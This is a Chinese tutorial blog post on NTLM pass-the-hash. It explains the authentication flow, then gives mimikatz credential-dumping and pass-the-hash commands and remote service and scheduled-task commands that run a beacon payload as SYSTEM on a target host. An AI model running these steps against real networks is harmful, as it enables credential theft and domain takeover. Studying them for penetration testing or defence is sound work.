ntlm哈希传递

news2024/11/15 20:53:00

哈希传递就是ntlm哈希

概念

早期SMB协议铭⽂在⽹络上传输数据,后来诞⽣了LM验证机制,LM机制由于过于简 单,微软提出了WindowsNT挑战/响应机制,这就是NTLM

LM

image-20231009164817770

NTLM

image-20231009164829819


哈希传递攻击是针对相同密码的用户认证直接发起攻击,如果当域内的其他主机密码和实现主机上的密码一致,那hash值就一直,hash值一致的情况下,可以不需要明文密码登陆对方的远程桌面,查看对方主机的C盘,文件等操作。


原理

哈希传递是能够在不需要账号明⽂密码的情况下完成认证的⼀个技术,⽐如NTLM Hash、 LM Hash都不需要明⽂密码因此都可以被称为Hash传递攻击。

NTLM验证靠HASH值

1.获得⼀台域主机的权限

2.Dump内存获得⽤⼾hash

3.通过pass the hash尝试登录其他主机

4.继续搜集hash并尝试远程登录

5.直到获得域管理员账⼾hash,登录域控,最终成功控制整个域

认证流程:

1、client发送账户名user到server

2、server判断本地账户名是否存在,没有则失败,有的话生成challenge,查找user
对应的NTLM哈希,使用哈希加密challenge,生成一个net-ntlm hash存在内存中,将
challenge发送给client

3、client接受到challenge以后,将自己的密码转换成NTLM哈希,用生成的哈希加密
challenge生成response,发送response给server

4、server对比自己内存中的net-ntlm hash与client发来的response是否一致

注意:challenge每次认证都不一样,是一个随机生成的16字节随机数,response的形
势与server生成的net-ntlm hash一个格式

通过认证流程我们不难看出,只要有NTLM哈希在⼿,哪怕不知道明⽂密码也可以完 成NTLM的认证

image-20231009173508185

利用

hash传递浏览上传⽂件 ☁

当域内的⽤⼾想要访问域中的某个服务时,输⼊⽤⼾名和密码访问,本机kerberos服 务会向KDC的AS认证服务发送⼀个AS-REQ认证请求。该请求包中包含: 请求的⽤⼾ 名、客⼾端主机名、加密类型 和 Authenticator(⽤⼾NTLM Hash加密的时间戳)以及 ⼀些其他信息

在AS-REQ阶段,是⽤⽤⼾密码Hash加密的Authenticator,所以也就造成了hash传 递。我们只需要获取域⽤⼾Hash,同时⽬标机器开放smb服务,就可以进⾏Hash传 递攻击。

mimikatz

privilege::debug 提升权限(注:需以管理员权限运行)
sekurlsa::logonpasswords 获取内存中保存的登录信息
sekurlsa::pth /user:administrator /domain:qf.com   /ntlm:a803cf45d87009c404eb89df4b1ae94c
弹出新窗口
dir \\10.10.10.254\c$

image-20231009165227707

image-20231009165237393

image-20231009165246982

#sc命令创建计划任务
copy beacon.exe \\10.10.10.254\c$
#sc命令远程创建名为test的服务
sc \\10.10.10.254 create test binpath= "c:\beacon.exe"
#远程查询名为test的服务
sc \\10.10.10.254 query test
#远程启动名为test的服务
sc \\10.10.10.254 start test
#远程删除名为test的服务
sc \\10.10.10.254 delete test
#at命令(计划任务) at命令在早期的Windows系统中⽀持,⽽新版本Windows已经⽤
schtasks命令取代at命令了。
#查看⽬标系统时间
net time \\10.10.10.254
#将本⽬录下的指定⽂件复制到⽬标系统中
copy vps.exe \10.10.10.254\c$
#使⽤at创建计划任务
at \10.10.10.254 14:37 C:\vps.exe
#清除at记录
at \10.10.10.254 做业ID /delete
#使⽤at命令执⾏,将执⾏结果写⼊本地⽂本⽂件,再使⽤type命令查看该⽂件的内容
at \10.10.10.254 17:00:00 cmd.exe /c "ipconfig > C:/1.txt "
#查看⽣成的1.txt⽂件
type \10.10.10.254\C$\1.txt
#schtasks命令(计划任务)
#在⽬标主机10.10.10.254上创建⼀个名为test的计划任务,启动权限为system,启动
时间为每隔⼀⼩时启动⼀次
schtasks /create /s 10.10.10.254 /tn test /sc HOURLY /mo 1 /tr
c:\beacon.exe /ru system /f /U administrator /P 1234.com
其他启动时间参数:
/sc HOURLY 每⼩时启动⼀次
/sc onlogon ⽤户登录时启动
/sc onstart 系统启动时启动
/sc onidle 系统空闲时启动
#查询该test计划任务
schtasks /query /s 10.10.10.254 /U administrator -P 1234.com |
findstr test
#启动该test计划任务
schtasks /run /s 10.10.10.254 /i /tn "test" /U administrator -P
1234.com
#删除该test计划任务
schtasks /delete /s 10.10.10.254 /tn "test" /f /U administrator -P
1234.com
hash传递获取域控RDP
privilege::debug
sekurlsa::pth /user:administrator /domain:xiusafe.com
/ntlm:a803cf45d87009c404eb89df4b1ae94c "/run:mstsc.exe
/restrictedadmin"

image-20231009165454902

如果域控这个位置是灰⾊那就不允许这种⽅式登录,注册表还能挣扎⼀下

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1074831.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Flex 布局中避免子元素高度被撑高

Flex 布局中避免子元素高度被撑高 Flex 布局中子元素高度容易被最高元素撑高,使用 align-self 可避免。 之前: 之后: /* 此处是居中对齐,也可使用 flex-start 顶部对齐 */ align-self: center;

SuperMap iServer 影像服务自动守护能力

作者:Carlo 目录 一、监控目录能力1、影像服务创建后,在添加影像集合时配置自动追加2、配置集合基本信息3、开启自动追加4、效果展示 二、静默切片支持计划任务1、配置影像集合静默切片任务2、配置瓦片方案3、配置静默切片计划任务4、效果展示 背景&…

leetCode 15.三数之和 双指针解法

给你一个整数数组 nums ,判断是否存在三元组 [nums[i], nums[j], nums[k]] 满足 i ! j、i ! k 且 j ! k ,同时还满足 nums[i] nums[j] nums[k] 0 。请你返回所有和为 0 且不重复的三元组。 注意:答案中不可以包含重复的三元组。 示例 1&…

日常学习记录随笔-大数据之日志(hadoop)收集实战

数据收集(nginx)--->数据分析---> 数据清洗--->数据聚合计算---数据展示 可能涉及到zabix 做任务调度我们的项目 电商日志分析 比如说我们现在有一个系统,我们的数仓建立也要有一个主题 我这个项目是什么我要干什么定义方向 对用户进行分析,用户信息 要懂整个数据的流…

【c++】new一个新数组时数组地址变化的现象

若new生成数组的时候&#xff0c;无论每一行的行数组大小是否相同&#xff0c;其一维指针与实际元素存放的地址完全不同。 #include<iostream> using namespace std;int main(void) {int** dp new int* [5 1];for (int i 0; i < 5; i) {dp[i] new int[i];//初始化…

java基础API date日期

package daysreplace; import com.sun.jdi.IntegerValue;import java.text.SimpleDateFormat; import java.util.Arrays; import java.util.Date;public class Test {public static void main(String[] args) {Date date new Date();System.out.println(date);//输出不为内存地…

乐鑫 ESP-Mesh-Lite在windows下的开发环境搭建(二)

上一篇文章的只能在例程文件夹内进行编译&#xff0c;一旦将示例程序复制到其他文件夹&#xff0c;清理后再编译时会出现编译错误。今天发现了一种的开发环境部署方法&#xff0c;实际上esp-mesh-lite文件夹里就有介绍&#xff0c;只是我还不熟悉IDF的操作&#xff0c;到今天才…

[LitCTF 2023]作业管理系统 - 文件上传+弱口令

[LitCTF 2023]作业管理系统 解题流程 解题流程 1、F12看到页面源代码有注释&#xff1a;默认账户admin admin   使用&#xff1a;admin-admin 可直接登录 2、上传一句话木马   3、蚁剑连接找flagNSSCTF{d969ad7a-9cb5-4564-a662-191a00e007a5}

代码随想录算法训练营第四十八天 | 70. 爬楼梯 (进阶)、322. 零钱兑换、279.完全平方数

70. 爬楼梯 &#xff08;进阶&#xff09; 链接&#xff1a; 代码随想录 &#xff08;1&#xff09;代码 322. 零钱兑换 视频讲解&#xff1a;动态规划之完全背包&#xff0c;装满背包最少的物品件数是多少&#xff1f;| LeetCode&#xff1a;322.零钱兑换_哔哩哔哩_bilibili …

Go 1.22 将修复 for 循环变量错误

导读上月正式发布的 Go 1.21 修改了 for 循环变量的语义&#xff08;预览阶段&#xff0c;点此查看详情&#xff09;。 现在&#xff0c;Go 团队表示 Go 1.22 会将这项特性发布为正式功能。 根据 Go 开发团队技术 leader Russ Cox (rsc) 的介绍&#xff0c;Go 开发者经常会犯的…

【C++】STL详解(十四)—— bitset(位图)的模拟实现

​ ​&#x1f4dd;个人主页&#xff1a;Sherry的成长之路 &#x1f3e0;学习社区&#xff1a;Sherry的成长之路&#xff08;个人社区&#xff09; &#x1f4d6;专栏链接&#xff1a;C学习 &#x1f3af;长路漫漫浩浩&#xff0c;万事皆有期待 上一篇博客&#xff1a;【C】STL…

日常学习记录随笔-seata

我们知道所有的事务都要满足ACID的原则,也就是原子性 一致性 隔离性 持久性 在单体架构中服务访问db.基于数据库本身的特性就能够实现acid 微服务的架构比较复杂 可能一个业务要跨越多个服务 每个服务又会有自己的db库 再靠数据库本身的特性 还能保证acid么这个业务 就包含3…

翻译:网站整站翻译 / 网站国际化 / 极简实现

一、本文目标 以极简单的方法实现整站翻译&#xff0c;轻松实现国际化。 二、js 文件 https://res.zvo.cn/translate/translate.js 三、代码 代码放在浏览器控制台即可实现 var head document.getElementsByTagName(head)[0];var script document.createElement(script);sc…

【算法|动态规划No.17】leetcode64. 最小路径和

个人主页&#xff1a;兜里有颗棉花糖 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 兜里有颗棉花糖 原创 收录于专栏【手撕算法系列专栏】【LeetCode】 &#x1f354;本专栏旨在提高自己算法能力的同时&#xff0c;记录一下自己的学习过程&#xff0c;希望…

多路彩灯控制器LED流水灯花型verilog仿真图视频、源代码

名称&#xff1a;多路彩灯控制器LED流水灯花型verilog 软件&#xff1a;Quartus 语言&#xff1a;Verilog 代码功能&#xff1a; 用quartus和modelism&#xff0c;设计一个多路彩灯控制器&#xff0c;能够使花型循环变化&#xff0c;具有复位清零功能&#xff0c;并可以选择…

unity操作_光源组件 c#

准备工作 添加资源导入后先不管&#xff0c;现在主要学习自带Directional Light 我们首先创建一个平面Plane 然后重置一下位置 然后创建一个Cube 也重置一下位置然后修改y0.5刚好在这个平面上 ctrl d复制一个Cube 修改位置和旋转角度 给物体一个颜色 接下来创建一个点光源 我们…

基于python判断回文字符串

一、功能程序 可以使用以下代码&#xff0c;来判断一个字符串是否为回文字符串&#xff1a; def is_palindrome(string):# 将字符串转换为小写&#xff0c;并去除空格和标点符号string .join(e for e in string.lower() if e.isalnum())# 检查字符串是否等于它的反转return …

SpringCloud学习笔记-Ribbon负载均衡

目录 1.负载均衡策略2.自定义负载均衡策略3.饥饿加载 SpringCloudRibbon的底层采用了一个拦截器&#xff0c;拦截了RestTemplate发出的请求&#xff0c;对地址做了修改。用一幅图来总结一下&#xff1a; 基本流程如下&#xff1a; 拦截我们的RestTemplate请求http://userserv…

每日练习-9

目录 1、井字棋 2、密码强度等级 3、二维数组中的查找 4.调整数组奇数偶数 5.旋转数组中的最小元素 6、替换空格 1、井字棋 解析&#xff1a;井字棋有四种情况表示当前玩家获胜&#xff0c;行全为1&#xff0c; 列全为1&#xff0c;主对角全为1&#xff0c; 副对角全为1。遍历…

pytorch学习------TensorBoard的使用

目录 简介使用方式1、单条曲线(scalar)2、多条曲线(scalars)3、直方图(histogram)4、图片(image)5、渲染(figure)6、网络(graph) 简介 建好一个神经网络&#xff0c;其实我们也不知道神经网络里头具体细节到底做了什么&#xff0c;要人工调试十分困难(就好比你无法想象出递归的…